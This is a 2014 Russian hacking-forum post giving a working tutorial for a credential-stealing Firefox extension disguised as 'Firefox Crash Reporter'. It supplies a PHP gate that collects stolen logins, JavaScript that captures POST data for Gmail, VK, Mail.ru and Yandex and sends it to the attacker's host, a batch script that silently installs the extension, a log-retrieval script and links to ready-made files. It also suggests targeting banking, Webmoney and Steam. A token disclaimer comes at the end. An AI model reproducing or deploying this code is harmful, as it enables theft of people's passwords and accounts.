Крадем пароли Firefox с помощью расширения

Discussion in 'Уязвимости' started by Ereee, 8 Jul 2014.

  1. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    0. INTRO
    Все началось вот с этой темы. Мне нужен был сниффер, чтобы украсть пароль от админки, имея физический доступ к компьютеру. Эту тему статьей не назовешь, в нем не будет никакого привата, но она, думаю, будет интересна для многих новичков, которым хочется узнать, на что способен казалось бы безобидное расширение.
    1. Нужное
    1. http://kaimi.ru/2012/06/simple-firefox-extension/
    2. Notepad++
    3. Denwer(необязательно, если цель - компьютер друга) или хостинг
    4. Браузер Mozilla Firefox + расширение LiveHTTPHeaders
    2. Подготовка
    Скачиваем по первой ссылке из нужных архив с расширением и распаковываем удобном для Вас месте.
    1. Если это компьютер друга/подруги и т.д., можно сразу переходить к шагу "3. Действуем".
    2. Если к цели можно получить физический доступ только один раз или целей много, установите Denwer, в папке Z:\home\test1.ru\www создаем файл test.php с содержимым(или сразу на хостинг):
    PHP:
    <?php 
    $uri 
    base64_decode(urldecode($_REQUEST['uri']));
    $info base64_decode(urldecode($_REQUEST['info']));
    $domain parse_url($uriPHP_URL_HOST);
    file_put_contents($domain.".txt",$info."\r\n",FILE_APPEND);
    ?>
    Это будет будущий гейт, для принятия паролей.
    3. Действуем
    В папке с распакованным расширением находим install.rdf, меняем все содержимое на:
    Code:
    <?xml version="1.0"?>
    <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
        xmlns:em="http://www.mozilla.org/2004/em-rdf#">
    
        <Description about="urn:mozilla:install-manifest">
            <em:id>[email protected]</em:id>
            <em:name>Firefox Crash Reporter</em:name>
            <em:version>2.1.0</em:version>
            <em:type>2</em:type>
            <em:creator>Oh noes LTD</em:creator>
            <em:description></em:description>
            <em:homepageURL>http://www.mozilla.org/</em:homepageURL>
    
            <em:targetApplication>
                <Description>
                    <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
                    <em:minVersion>2.0</em:minVersion>
                    <em:maxVersion>30.*</em:maxVersion>
                </Description>
            </em:targetApplication>
        </Description>      
    </RDF>
    Сохраняем, открываем ./chrome/content/accelerator.js.
    Видим
    Code:
    var log_host = "kaimi.ru";
    замените на
    Code:
    var log_host = "test1.ru";
    Строчкой ниже добавляем:
    Code:
    var need_host="accounts.google.com/ServiceLoginAuth|odnoklassniki.ru/https|login.vk.com|auth.mail.ru|passport.yandex.ru";
    Это адреса авторизационных сервисов известных сайтов. Это означает, что мы можем украсть пароли от Gmail, OD, VK, Mail.Ru, Yandex.Ru. Хотите добавить свой сайт? Для этого мы устанавливали Mozilla Firefox + LiveHTTPHeaders:
    1. Заходим на нужный сайт, на страницу авторизации(пусть у нас это будет mail.ru)
    2. Жмем Инструменты => Просмотр HTTP заголовков
    3. Вводим логин и пароль на сайте, неважно правильный или нет, жмем "Войти"
    4. Смотрим в окне LiveHTTPHeaders, видим:
    [​IMG]
    Видим, как передаются наши данные. Вот оттуда и взялся в нашей переменной need_host значение auth.mail.ru.
    По этому примеру можно сделать для банкинга, админки, Webmoney, Steam, электронного журнала оценок, букмекерских сайтов и т.д. и т.п. Ограничивается все Вашей фантазией.
    Дальше.
    Меняем условие:
    Code:
    if(http_channel.requestMethod == "POST")
    на
    Code:
    if(http_channel.requestMethod == "POST" && new RegExp('^http(s?)://(?:www\.)*' + need_host, 'i').test(uri))
    
    Этот условие значит, что мы крадем данные только тогда, когда метод передачи POST и этот сайт в списке need_host.
    Находим:
    Code:
    req.send("uri=" + enc_uri + "&info=" + enc_data);
    После ставим:
    Code:
    var txt = enc_uri+"||"+enc_data+"\n";
    var file = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD",  Components.interfaces.nsIFile);
        file.append("crash_logs.txt"); //файл для сохранения
        var fs = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
        fs.init(file, 0x02 | 0x08 | 0x10, 0664, 0); // write, create, append
        fs.write(txt, txt.length); // записываем
        fs.close(); //закрываем
    
    Этот код отвечает за сохранение передаваемых логинов, паролей, а так же сайта в %APPDATA%\Mozilla\Firefox\Profiles\профайл.default\crash_logs.txt. Данные будут в формате urlencode(base64_encode(data)), как прочитать такой файл можно узнать в шаге "4. Тестируем".
    Сохраняем.
    Папка с расширением сейчас называется accelerator, переименуйте ее на [email protected]. Рядом с папкой [email protected] создаем файл install.bat с содержимым:
    Code:
    @echo off
    set "destDir=%APPDATA%\Mozilla\Firefox\Profiles"
      for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d"
      XCOPY [email protected] "%destDir%\%copyto%\extensions\[email protected]\" /H /E /G /Q /R /Y /D
      
    copy "%destDir%\%copyto%\prefs.js" "%destDir%\%copyto%\temp.txt" 
    del "%destDir%\%copyto%\prefs.js"
    
    start "" "C:\Program Files\Mozilla Firefox\firefox.exe"
    PING -n 11 127.0.0.1>nul
    taskkill.exe /f /im "firefox.exe"
    
    copy "%destDir%\%copyto%\temp.txt" "%destDir%\%copyto%\prefs.js"
    del "%destDir%\%copyto%\temp.txt"
    Смысл этого батника: находим директорию с уникальным именем, копируем туда расширение, копируем файл настроек Firefox, запускаем Firefox, ждем 10 секунд и закрываем, копируем прежний файл настроек.
    Такие шаги имели смысл для Firefox 3.*, так как с помощью этого файла можно было установить расширение, включить его и не показывать уведомление о установке нового расширения. А в новых версиях Firefox расширение не включается, но уведомления о новой установке нет, что радует. Следовательно, Вам надо проверить, включено ли расширение Firefox Crash Reporter 2.1.0, нажав Инструменты => Дополнения в меню Mozilla Firefox. Если нет - включаем.
    Рядом с install.bat, для удобства создайте get_log.bat с содержимым:
    Code:
    @echo off
    SET newtime=%date%-%time:~0,2%.%time:~3,2%.%time:~6,2%
    set "destDir=%APPDATA%\Mozilla\Firefox\Profiles"
      for /f %%d in ('dir /B /A:D "%destDir%"') do set "copyto=%%~d"
      copy "%destDir%\%copyto%\crash_logs.txt" "log_%newtime%.txt" 
    Таким образом мы скопируем логи, которые достали и присвоим им уникальное имя - текущую дату и время.
    Все готово.
    Движок форума вставляет пробелы, поэтому у Вас обязательно будут синтаксические ошибки в коде, исходя из этого, ОБЯЗАТЕЛЬНО скачиваем готовые файлы и расширение(пароль antichat):
    https://www.sendspace.com/file/866ox2
    http://rghost.ru/private/56780319/4fad86834b7ba66b8492a77a2b681105
    4. Тестируем
    1. Запускаем из скаченного архива install.bat.
    2. Запускаем Firefox, заходим к примеру на mail.ru, вводим любой логин и пароль.
    3. Запускаем get_log.bat
    В папке с распакованным архивом появится log_date_time.txt, вместо date и time, соответственно, дата и время.
    log_date_time.txt имеет такой вид:
    Code:
    aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ%3D%3D
    Жмем Ctrl+F, заменяем %3D на пустоту.
    Получится:
    Code:
    aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo||RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ
    Находим любой онлайн base64 decoder и декодируем.
    До || это адрес сайта, а после переданные POST-данные.
    Code:
    aHR0cHM6Ly9hdXRoLm1haWwucnUvY2dpLWJpbi9hdXRoP2Zyb209c3BsYXNo => https://auth.mail.ru/cgi-bin/auth?from=splash
    ||
    RG9tYWluPW1haWwucnUmTG9naW49dGVzdCZQYXNzd29yZD10ZXN0dGVzdCZuZXdfYXV0aF9mb3JtPTEmc2F2ZWF1dGg9MQ => 
    Domain=mail.ru&Login=test&Password=testtest&new_auth_form=1&saveauth=1
    Если используете гейт, скрипт автоматически распределяет по сайтам:
    [​IMG]
    Результаты теста:
    Firefox 3.5.2
    [​IMG]
    Firefox 29.0.1
    [​IMG]
    Как я и говорил, в новых версиях Firefox не забудьте проверить, включен ли плагин. Batch file отработал хорошо на Windows XP и Win8, что можно и по скринам увидеть.
    5. OUTRO
    В незаконных целях не используйте, я лишь привел возможности. Вы можете украсть пароль, а можете попасть в тюрьму.
    Всем удачи и благ!
     
    #1 Ereee, 8 Jul 2014
    Last edited: 8 Jul 2014
    unic0rn, YaBtr and makag like this.
  2. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    в блоги нужно перенести, или в статьй.